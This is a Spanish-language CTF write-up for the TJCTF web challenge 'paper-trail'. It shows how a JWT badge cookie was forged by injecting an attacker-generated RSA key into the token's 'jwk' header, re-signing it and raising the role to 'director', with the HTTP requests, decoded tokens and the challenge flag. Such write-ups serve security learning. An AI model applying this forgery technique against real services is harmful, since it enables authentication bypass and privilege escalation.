Usa el árbol para saltar entre colecciones sin salir del lector.

archivo Seleccionar un writeup Abrir árbol
tjctf/Writeup paper-trail.md READ_ONLY

paper-trail

Datos del reto

Campo Valor
CTF TJCTF
Reto paper-trail
Categoría Web
Tags First Blood
Target https://paper-trail-417325820c409c46.tjc.tf
Flag tjctf{7h47_is_4_nic3_k3yc4rd_y0u_g07_7h3r3}

Descripción del reto

La aplicación generaba un visitor badge en una cookie HttpOnly llamada paper_badge. La ruta /drawer validaba ese token y luego revisaba el claim role. El problema era que el backend aceptaba una clave pública RSA dentro del header del JWT a través de jwk. La idea era modificar el token, inyectar una clave pública en el header que hiciese match, volver a firmarlo y cambiar el rol a director.

Check-in form


Reconocimiento

Lo primero fue hacer check-in normal y capturar el flujo en Burp. Lo importante era el header Set-Cookie, porque el badge era un JWT firmado con RS256.

POST /check-in HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

name=Analyst
HTTP/2 302 Found
Location: /
Server: Werkzeug/3.1.8 Python/3.12.13
Set-Cookie: paper_badge=<visitor JWT>; HttpOnly; Path=/; SameSite=Lax
Content-Length: 189

Al decodificar el badge en Burp se veía así.

{
  "alg": "RS256",
  "kid": "front-desk-2026",
  "typ": "JWT"
}
{
  "iss": "paper-trail-office",
  "aud": "paper-trail-visitors",
  "sub": "832b3672b7fa4ff9",
  "name": "Analyst",
  "role": "visitor",
  "iat": 1778951142,
  "nbf": 1778951142,
  "exp": 1778954742
}

Issued badge

Mandar el badge original contra /drawer devolvía un fallo normal de autorización. Esto indicaba que el token era válido pero el rol no era suficiente.

GET /drawer HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Cookie: paper_badge=<original visitor JWT>
HTTP/2 403 Forbidden
Content-Type: text/html; charset=utf-8
Server: Werkzeug/3.1.8 Python/3.12.13

<p class="denied">The clerk slides the badge back. The drawer stays shut.</p>

Visitor denied


Análisis

El endpoint público de JWKS mostraba la clave real del front-desk, pero no servía directamente para firmar un token propio porque solo exponía la parte pública.

GET /.well-known/jwks.json HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
HTTP/2 200 OK
Content-Type: application/json
Server: Werkzeug/3.1.8 Python/3.12.13

{
  "keys": [{
    "alg": "RS256",
    "e": "AQAB",
    "kid": "front-desk-2026",
    "kty": "RSA",
    "n": "mkK8mAn8bkTTK5kd41essAtd2RPsaT8R4IWXUD...ViYW_DQ",
    "use": "sig"
  }]
}

JWKS response

Primero se probó la ruta obvia de alg=none. El servidor lo rechazó, lo que significaba que la verificación de firma estaba activa.

GET /drawer HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Cookie: paper_badge=<alg none token>
HTTP/2 401 Unauthorized
Content-Type: text/html; charset=utf-8
Server: Werkzeug/3.1.8 Python/3.12.13

<p class="denied">The badge reader rejected that badge.</p>

La estrategia terminó siendo alterar el token inyectando una clave pública RSA en el header como jwk y firmarlo con su clave privada correspondiente. Con el rol asignado a staff, la respuesta volvió a ser 403. La firma fue aceptada, simplemente el rol seguía sin ser suficiente.

GET /drawer HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Cookie: paper_badge=<RS256 token signed with my key, header contains jwk, role=staff>
HTTP/2 403 Forbidden
Content-Type: text/html; charset=utf-8
Server: Werkzeug/3.1.8 Python/3.12.13

<p class="denied">The clerk slides the badge back. The drawer stays shut.</p>

El header del token modificado quedaba así.

{
  "alg": "RS256",
  "jwk": {
    "alg": "RS256",
    "e": "AQAB",
    "kid": "front-desk-2026",
    "kty": "RSA",
    "n": "<my RSA modulus>",
    "use": "sig"
  },
  "kid": "front-desk-2026",
  "typ": "JWT"
}

Resolución

El flujo completo terminó siendo este.

  1. Mantener el mismo jwk embebido en el token.
  2. Cambiar el rol a director en el payload.
  3. Volver a firmar el token modificado.
  4. Mandarlo al servicio para obtener la flag final.
{
  "iss": "paper-trail-office",
  "aud": "paper-trail-visitors",
  "sub": "832b3672b7fa4ff9",
  "name": "Analyst",
  "role": "director",
  "iat": 1778951154,
  "nbf": 1778951154,
  "exp": 1778954754
}
GET /drawer HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Cookie: paper_badge=<RS256 token signed with my key, header contains jwk, role=director>
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Server: Werkzeug/3.1.8 Python/3.12.13

<p class="label">receipt</p>
<code class="flag">tjctf{7h47_is_4_nic3_k3yc4rd_y0u_g07_7h3r3}</code>

Flag in drawer


Flag

tjctf{7h47_is_4_nic3_k3yc4rd_y0u_g07_7h3r3}

Hecho con una versión modificada de report-forge